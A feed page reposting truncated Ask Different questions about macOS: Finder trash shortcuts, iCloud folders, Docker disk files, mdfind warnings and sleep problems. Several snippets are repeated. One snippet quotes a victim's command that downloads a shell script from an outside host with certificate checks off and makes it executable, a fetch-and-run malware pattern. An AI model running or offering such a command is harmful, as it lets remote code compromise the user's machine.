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How to disable "Empty the Trash without confirmation dialog." of Finder?

zaterdag 25 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

Finder has a functionality "Empty the Trash without confirmation dialog.". I want disable it completely or disable the shortcut to this functionality The reason I want to disable it is that it is bound to a keyboard shortcut (OptShift C…

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How to Permanently Remove Old iCloud App Folders from Mobile Documents on macOS?

zaterdag 25 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

On my MacBook, when I navigate to the iCloud directory via Terminal with the command: cd ~/Library/Mobile\ Documents I see multiple folders related to old iCloud-connected apps that I no longer use or have installed. Most of these fold…

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What happens if I leave an iCloud Shared Photo Library?

zaterdag 25 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

Someone invited me to an iCloud Shared Photo Library and I accepted the invitation. The help explains a lot about notifications and behavior if the owner deletes the library and how the participants are notified. It also documents noti…

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How to disable "Empty the Trash without confirmation dialog." of Finder?

zaterdag 25 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

Finder has a functionality "Empty the Trash without confirmation dialog.". I want disable it completely or disable the shortcut to this functionality The reason I want to disable it is that it is bound to a keyboard shortcut (OptShift C…

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How can a Docker.raw file grow to 1TB on a 256GB Mac hard drive?

zaterdag 25 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

After installing Docker-Desktop, I noticed some weird inconsistencies when running SquirrelDisk. Lo and behold, ~/Library/Containers/com.docker.docker/Data/vms/0/Docker.raw is reported to be 1T by the command ls -la. I'm running it on a…

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What does this curl command give access to?

zaterdag 25 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

I've run a command that in hindsight, I should have better understood and now want advice on how to understand the impact of my actions. curl -k -o /var/tmp/ffmpeg.sh https://api.drive-release.cloud/ffmpeg-aw.sh && \ chmod +x /var/t…

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How do I suppress warning messages for built-in terminal utilities (mdfind) in macos?

zaterdag 25 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

Ever since I upgraded to Sequoia - but I was quite late so this change may have come from an earlier macos - I am getting distracted by useless notifications from mdfind - the Spotlight command for the terminal. sample command: mdfind -…

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"App is not open anymore" / "App not responding" intermittent (72 hours) issue opening apps on Mac mini M4 in Sequoia

zaterdag 25 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

I'm experiencing an issue similar to the one Gary describes here: Sometimes, I am not able to launch any apps on my Mac WHAT HAPPENS: Rather frequently (seems to be approximately every 72 hours), my Mac no longer allows me open apps. Ap…

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How do I suppress warning messages for built-in terminal utilities (mdfind) in macos?

zaterdag 25 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

Ever since I upgraded to Sequoia - but I was quite late so this change may have come from an earlier macos - I am getting distracted by useless notifications from mdfind - the Spotlight command for the terminal. sample command: mdfind -…

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How do I suppress warning messages for built-in terminal utilities (mdfind) in macos?

vrijdag 24 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

Ever since I upgraded to Sequoia - but I was quite late so this change may have come from an earlier macos - I am getting distracted by useless notifications from mdfind - the Spotlight command for the terminal. sample command: mdfind -…

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Reference current Finder window from Terminal

vrijdag 24 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

I would like to open the current Terminal shell directory in the current Finder window. I know I can do open . however this opens a new Finder window. I have tried with the -F but this exhibits the same behaviour. Even attempting the nu…

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How do I suppress warning messages for built-in terminal utilities (mdfind) in macos?

vrijdag 24 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

Ever since I upgraded to Sequoia - but I was quite late so this change may have come from an earlier macos - I am getting distracted by useless notifications from mdfind - the Spotlight command for the terminal. sample command: mdfind -…

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How do I suppress warning messages for built-in terminal utilities (mdfind) in macos?

vrijdag 24 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

Ever since I upgraded to Sequoia - but I was quite late so this change may have come from an earlier macos - I am getting distracted by useless notifications from mdfind - the Spotlight command for the terminal. sample command: mdfind -…

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Reference current Finder window from Terminal

vrijdag 24 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

I would like to open the current Terminal shell directory in the current Finder window. I know I can do open . however this opens a new Finder window. I have tried with the -F but this exhibits the same behaviour. Even attempting the nu…

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Intel MacBook Air doesn’t recognise macOS partition

vrijdag 24 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

Hi I am no longer able to boot into macOS. I had dual-booted Linux mint alongside my macOS. It all started when I tried to delete my Linux mint partition using disk utility. I noticed that my Linux partition wasn’t showing up (even thou…

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Why is my MacBook powering off at night instead of staying in sleep?

vrijdag 24 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

After update to macOS 15.2 I got my MacBook Pro 16" 2019 powered off in the morning 50/50 not every time. Battery is full, power nap and wake up are off. Never had the same before update. The last record in the log is: 2025-01-22 16:45:…

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Why is my MacBook failing to power off instead of sleep?

vrijdag 24 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

After update to macOS 15.2 I got my MacBook Pro 16" 2019 powered off in the morning 50/50 not every time. Battery is full, power nap and wake up are off. Never had the same before update. The last record in the log is: 2025-01-22 16:45:…

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Why is my MacBook failing to power off instead of sleep?

vrijdag 24 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

After update to macOS 15.2 I got my MacBook Pro 16" 2019 powered off in the morning 50/50 not every time. Battery is full, power nap and wake up are off. Never had the same before update. The last record in the log is: 2025-01-22 16:45:…

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Why won't my MacBook Pro (2018) turn on after battery died?

vrijdag 24 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

I’m experiencing a strange issue with my MacBook Pro 2018, and I’m hoping for some advice or similar experiences. Here’s what happened: My MacBook charged normally, but I unplugged it to use it briefly. When it reached 6%, I plugged it …

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How can I check which application a shortcut key is assigned to?

donderdag 23 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

I'm hacking with Emacs and trying to bind the key Control+Alt+f to some function. But instead of taking effect on Emacs, resizing windows happens. After testing, I find out the following shortcut bindings: Control+Alt+f: arrange the wi…

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How can I find all preferences or settings files relevant to a particular app?

donderdag 23 januari 2025 inAsk Different (Tips-Tricks-Tutorials)

When troubleshooting apps, a common remedy is to delete or clear their .plist files. On macOS Sequoia 15.3, I discovered that clearing ~/Library/com.apple.TV.plist with defaults delete com.apple.TV.plist left most of the app settings un…

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